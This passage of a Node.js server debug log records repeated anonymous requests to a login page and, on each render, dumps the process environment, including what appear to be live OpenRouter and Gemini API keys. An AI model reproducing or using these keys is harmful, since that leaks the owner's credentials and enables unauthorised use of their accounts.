      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.165',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.165',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:20:22.880Z server-connect:router Serving templateView /
2026-04-07T20:20:22.880Z server-connect:app Executing action step identify
2026-04-07T20:20:22.880Z server-connect:app options: { provider: 'security' }
2026-04-07T20:20:22.880Z server-connect:auth No login cookie found
2026-04-07T20:20:22.880Z server-connect:output identity: false
2026-04-07T20:20:22.880Z server-connect:app Executing action step restrict
2026-04-07T20:20:22.880Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:20:22.881Z server-connect:output restrict: undefined
2026-04-07T20:21:25.196Z server-connect:router Serving templateView /login
2026-04-07T20:21:25.197Z server-connect:app Executing action step identify
2026-04-07T20:21:25.197Z server-connect:app options: { provider: 'security' }
2026-04-07T20:21:25.197Z server-connect:auth No login cookie found
2026-04-07T20:21:25.197Z server-connect:output identity: false
2026-04-07T20:21:25.197Z server-connect:router Render template layouts/authentication
2026-04-07T20:21:25.197Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.226',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:21:25.196Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.226',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.226',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:21:35.307Z server-connect:router Serving templateView /
2026-04-07T20:21:35.307Z server-connect:app Executing action step identify
2026-04-07T20:21:35.307Z server-connect:app options: { provider: 'security' }
2026-04-07T20:21:35.307Z server-connect:auth No login cookie found
2026-04-07T20:21:35.307Z server-connect:output identity: false
2026-04-07T20:21:35.307Z server-connect:app Executing action step restrict
2026-04-07T20:21:35.307Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:21:35.308Z server-connect:output restrict: undefined
2026-04-07T20:23:22.709Z server-connect:router Serving templateView /login
2026-04-07T20:23:22.709Z server-connect:app Executing action step identify
2026-04-07T20:23:22.709Z server-connect:app options: { provider: 'security' }
2026-04-07T20:23:22.709Z server-connect:auth No login cookie found
2026-04-07T20:23:22.709Z server-connect:output identity: false
2026-04-07T20:23:22.709Z server-connect:router Render template layouts/authentication
2026-04-07T20:23:22.710Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.66',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:23:22.708Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.66',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.66',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:24:15.128Z server-connect:router Serving templateView /login
2026-04-07T20:24:15.128Z server-connect:app Executing action step identify
2026-04-07T20:24:15.128Z server-connect:app options: { provider: 'security' }
2026-04-07T20:24:15.129Z server-connect:auth No login cookie found
2026-04-07T20:24:15.129Z server-connect:output identity: false
2026-04-07T20:24:15.129Z server-connect:router Render template layouts/authentication
2026-04-07T20:24:15.129Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.158',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:24:15.128Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.158',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.158',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:24:34.315Z server-connect:router Serving templateView /
2026-04-07T20:24:34.316Z server-connect:app Executing action step identify
2026-04-07T20:24:34.316Z server-connect:app options: { provider: 'security' }
2026-04-07T20:24:34.316Z server-connect:auth No login cookie found
2026-04-07T20:24:34.316Z server-connect:output identity: false
2026-04-07T20:24:34.316Z server-connect:app Executing action step restrict
2026-04-07T20:24:34.316Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:24:34.316Z server-connect:output restrict: undefined
2026-04-07T20:27:15.813Z server-connect:router Serving templateView /login
2026-04-07T20:27:15.813Z server-connect:app Executing action step identify
2026-04-07T20:27:15.814Z server-connect:app options: { provider: 'security' }
2026-04-07T20:27:15.814Z server-connect:auth No login cookie found
2026-04-07T20:27:15.814Z server-connect:output identity: false
2026-04-07T20:27:15.814Z server-connect:router Render template layouts/authentication
2026-04-07T20:27:15.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.231',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:27:15.812Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.231',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.231',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:27:53.655Z server-connect:router Serving templateView /
2026-04-07T20:27:53.655Z server-connect:app Executing action step identify
2026-04-07T20:27:53.655Z server-connect:app options: { provider: 'security' }
2026-04-07T20:27:53.655Z server-connect:auth No login cookie found
2026-04-07T20:27:53.655Z server-connect:output identity: false
2026-04-07T20:27:53.655Z server-connect:app Executing action step restrict
2026-04-07T20:27:53.655Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:27:53.656Z server-connect:output restrict: undefined
2026-04-07T20:30:44.174Z server-connect:router Serving templateView /login
2026-04-07T20:30:44.174Z server-connect:app Executing action step identify
2026-04-07T20:30:44.174Z server-connect:app options: { provider: 'security' }
2026-04-07T20:30:44.174Z server-connect:auth No login cookie found
2026-04-07T20:30:44.174Z server-connect:output identity: false
2026-04-07T20:30:44.174Z server-connect:router Render template layouts/authentication
2026-04-07T20:30:44.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    'user-agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.5',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '91.196.152.166',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:30:44.174Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '91.196.152.166',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '91.196.152.166',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:33:12.562Z server-connect:router Serving templateView /
2026-04-07T20:33:12.562Z server-connect:app Executing action step identify
2026-04-07T20:33:12.562Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:12.562Z server-connect:auth No login cookie found
2026-04-07T20:33:12.562Z server-connect:output identity: false
2026-04-07T20:33:12.562Z server-connect:app Executing action step restrict
2026-04-07T20:33:12.562Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:33:12.563Z server-connect:output restrict: undefined
2026-04-07T20:33:13.174Z server-connect:router Serving templateView /login
2026-04-07T20:33:13.174Z server-connect:app Executing action step identify
2026-04-07T20:33:13.174Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:13.174Z server-connect:auth No login cookie found
2026-04-07T20:33:13.174Z server-connect:output identity: false
2026-04-07T20:33:13.174Z server-connect:router Render template layouts/authentication
2026-04-07T20:33:13.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '103.196.9.37',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T20:33:13.173Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '103.196.9.37',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '103.196.9.37',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-07T20:33:24.774Z server-connect:router Serving templateView /
2026-04-07T20:33:24.775Z server-connect:app Executing action step identify
2026-04-07T20:33:24.775Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:24.775Z server-connect:auth No login cookie found
2026-04-07T20:33:24.775Z server-connect:output identity: false
2026-04-07T20:33:24.775Z server-connect:app Executing action step restrict
2026-04-07T20:33:24.775Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T20:33:24.775Z server-connect:output restrict: undefined
2026-04-07T20:33:25.999Z server-connect:router Serving templateView /login
2026-04-07T20:33:25.999Z server-connect:app Executing action step identify
2026-04-07T20:33:25.999Z server-connect:app options: { provider: 'security' }
2026-04-07T20:33:25.999Z server-connect:auth No login cookie found
2026-04-07T20:33:25.999Z server-connect:output identity: false
2026-04-07T20:33:25.999Z server-connect:router Render template layouts/authentication
2026-04-07T20:33:25.999Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
